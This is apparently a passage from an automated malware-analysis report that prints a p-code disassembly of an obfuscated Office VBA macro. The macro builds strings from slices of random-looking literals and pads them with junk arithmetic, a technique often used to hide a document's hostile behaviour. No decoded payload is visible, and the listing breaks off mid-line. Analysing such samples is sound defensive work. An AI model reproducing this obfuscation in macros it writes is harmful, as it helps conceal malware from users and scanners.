(Str) ' Ld EIjTZTMw ' LitDI2 0x0025 ' ArgsLd Right 0x0002 ' LitDI2 0x0004 ' ArgsLd Left 0x0002 ' Add ' Ld EIjTZTMw ' LitDI2 0x004D ' ArgsLd Right 0x0002 ' LitDI2 0x000B ' ArgsLd Left 0x0002 ' Add ' Ld EIjTZTMw ' LitDI2 0x0041 ' ArgsLd Right 0x0002 ' LitDI2 0x0004 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld EIjTZTMw ' LitDI2 0x0010 ' ArgsLd Right 0x0002 ' LitDI2 0x0003 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld EIjTZTMw ' LitDI2 0x0032 ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld EIjTZTMw ' LitDI2 0x0018 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Add ' St EmZisKmlPDJ ' Line #22: ' Line #23: ' LitStr 0x001E "Z 'bR6Zr5xNzOAdjG(YcfaUzHTXCKD" ' St ihhKfRmEbb ' Line #24: ' Ld ihhKfRmEbb ' LitDI2 0x0014 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Ld ihhKfRmEbb ' LitDI2 0x000E ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Add ' Ld ihhKfRmEbb ' LitDI2 0x001D ' ArgsLd Right 0x0002 ' LitDI2 0x0004 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld ihhKfRmEbb ' LitDI2 0x0018 ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld ihhKfRmEbb ' LitDI2 0x0005 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' St Jidzr ' Line #25: ' Ld fAcYJNEXZZ ' LitDI4 0x6A5E 0x0002 ' Coerce (Sng) ' Add ' LitDI4 0x0195 0x000C ' LitDI4 0xE825 0x0006 ' LitDI4 0x08A0 0x000F ' Coerce (Byte) ' LitDI4 0x974F 0x0007 ' Div ' Sub ' LitDI4 0x6A5E 0x0002 ' ArgsLd Round 0x0001 ' Sub ' ArgsLd Sin 0x0001 ' Div ' Add ' Ld mPOaIAs ' Ld kTnflQOJzs ' Mul ' Add ' LitDI4 0x0195 0x000C ' LitDI4 0xE825 0x0006 ' Add ' LitDI4 0x08A0 0x000F ' Add ' LitDI4 0x27AC 0x0018 ' Sub ' Paren ' Sub ' St wuuzM ' Line #26: ' SetStmt ' Ld ZqEvGAEbqtC ' Set buvArwzUJj ' Line #27: ' LitStr 0x001B "Z8PtJ9c259AzOAdtIrYcfaxzHJX" ' St TFNLJhT ' Line #28: ' Ld TFNLJhT ' LitDI2 0x0012 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Ld TFNLJhT ' LitDI2 0x000C ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld TFNLJhT ' LitDI2 0x001A ' ArgsLd Right 0x0002 ' LitDI2 0x0004 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld TFNLJhT ' LitDI2 0x0016 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Add ' Ld TFNLJhT ' LitDI2 0x0005 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' St zITLaHqM ' Line #29: ' Line #30: ' LitDI2 0x002B ' ArgsLd Chr 0x0001 ' St PpwTo ' Line #31: ' LitStr 0x0021 "ZTsJvEra5xAsOAdj4r6kfaUzHJX3KDZTj" ' St dpbAdwJTKB ' Line #32: ' Ld dpbAdwJTKB ' LitDI2 0x0016 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Ld dpbAdwJTKB ' LitDI2 0x000F ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld dpbAdwJTKB ' LitDI2 0x0020 ' ArgsLd Right 0x0002 ' LitDI2 0x0005 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld dpbAdwJTKB ' LitDI2 0x001B ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Add ' Ld dpbAdwJTKB ' LitDI2 0x0006 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Add ' St XoHizvZoE ' Line #33: ' Line #34: ' LitStr 0x001E "ZKk0l6Dt5xszOAdjXVYcfaUzHOXCKD" ' St KtLlw ' Line #35: ' Ld KtLlw ' LitDI2 0x0014 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Ld KtLlw ' LitDI2 0x000E ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Add ' Ld KtLlw ' LitDI2 0x001D ' ArgsLd Right 0x0002 ' LitDI2 0x0004 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld KtLlw ' LitDI2 0x0018 ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld KtLlw ' LitDI2 0x0005 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' St iNrIY ' Line #36: ' Line #37: ' LitStr 0x0048 "i3i6VEUoZNjHBJIbCsfaUzHJJCKLlTjCFZvavtJdw17WlcrKGWfoCzujmPxlGsOgFBv4oTvf" ' St BpiBMnoa ' Line #38: ' Ld BpiBMnoa ' LitDI2 0x0030 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Ld BpiBMnoa ' LitDI2 0x0021 ' ArgsLd Right 0x0002 ' LitDI2 0x0004 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld BpiBMnoa ' LitDI2 0x0044 ' ArgsLd Right 0x0002 ' LitDI2 0x000A ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld BpiBMnoa ' LitDI2 0x003A ' ArgsLd Right 0x0002 ' LitDI2 0x0004 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld BpiBMnoa ' LitDI2 0x000E ' ArgsLd Right 0x0002 ' LitDI2 0x0003 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld BpiBMnoa ' LitDI2 0x002D ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Add ' St lGGXHi ' Line #39: ' Line #40: ' LitStr 0x0027 "3iM7oxD6zOAdjvrCEfaUz9/XCKWzTjCFZvavtJ2" ' St JiizwB ' Line #41: ' Ld JiizwB ' LitDI2 0x001A ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Ld JiizwB ' LitDI2 0x0012 ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld JiizwB ' LitDI2 0x0025 ' ArgsLd Right 0x0002 ' LitDI2 0x0006 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld JiizwB ' LitDI2 0x0018 ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Add ' Ld JiizwB ' LitDI2 0x000D ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' St PlCTdXqDIZl ' Line #42: ' Line #43: ' LitStr 0x006C "i6c257Lb1W178czi8WI2rPJuIXZTjCFZvavt87PhsXX/rKGWfoCzujmPYQ7tTMcWv4oTvfIdBm7kYuKzw2ou0Fegi/0sJWJBGZhmWmb0WYo8" ' St JCTcl ' Line #44: ' Ld JCTcl ' LitDI2 0x0048 ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Ld JCTcl ' LitDI2 0x0032 ' ArgsLd Right 0x0002 ' LitDI2 0x0006 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld JCTcl ' LitDI2 0x0066 …

Open this report in the interactive analyzer, or submit your own file for analysis.